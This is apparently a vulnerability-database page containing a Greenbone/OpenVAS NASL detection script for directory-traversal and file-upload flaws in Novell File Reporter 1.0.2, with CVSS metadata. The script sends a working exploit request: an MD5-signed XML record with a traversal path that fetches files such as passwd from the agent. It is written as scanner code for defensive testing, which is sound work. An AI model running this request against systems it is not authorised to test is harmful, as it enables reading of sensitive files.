CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
AI Score
Confidence
Low
EPSS
Percentile
99.9%
Novell File Reporter is prone to the following security
vulnerabilities:
A heap-based buffer-overflow vulnerability
Multiple arbitrary file-download vulnerabilities
An arbitrary file-upload vulnerability
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103623");
script_cve_id("CVE-2012-4956", "CVE-2012-4957", "CVE-2012-4958", "CVE-2012-4959");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_version("2023-07-25T05:05:58+0000");
script_name("Novell File Reporter 'NFRAgent.exe' Multiple Security Vulnerabilities");
script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
script_tag(name:"creation_date", value:"2012-12-12 17:33:48 +0100 (Wed, 12 Dec 2012)");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80, 3037);
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/56579");
script_xref(name:"URL", value:"http://www.novell.com/products/file-reporter/");
script_tag(name:"summary", value:"Novell File Reporter is prone to the following security
vulnerabilities:
1. A heap-based buffer-overflow vulnerability
2. Multiple arbitrary file-download vulnerabilities
3. An arbitrary file-upload vulnerability");
script_tag(name:"impact", value:"Remote attackers can exploit these issues to upload and download
arbitrary files and execute arbitrary code in the context of the application.");
script_tag(name:"affected", value:"Novell File Reporter 1.0.2 is vulnerable. Other versions may also
be affected.");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
release, disable respective features, remove the product or replace the product by another one.");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");
port = http_get_port(default:3037);
useragent = http_get_user_agent();
host = http_host_name(port:port);
files = traversal_files();
foreach file (keys(files)) {
result = '';
if("passwd" >< files[file]) {
path = '../../../../../../../../../../../../../../' + files[file];
} else {
path = '..\\..\\..\\..\\..\\..\\..\\..\\..\\' + files[file];
}
ex = '<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FILE>' + path + '</FILE></RECORD>';
ex_md5 = toupper(hexstr(MD5('SRS' + ex + 'SERVER')));
ex = ex_md5 + ex;
len = strlen(ex);
req = string("POST /FSF/CMD HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"User-Agent: ", useragent, "\r\n",
"Content-Type: text/xml\r\n",
"Content-Length: ", len, "\r\n",
"\r\n",
ex);
res = http_keepalive_send_recv(port:port, data:req);
if(eregmatch(pattern:file, string:res)) {
security_message(port:port);
exit(0);
}
}
exit(99);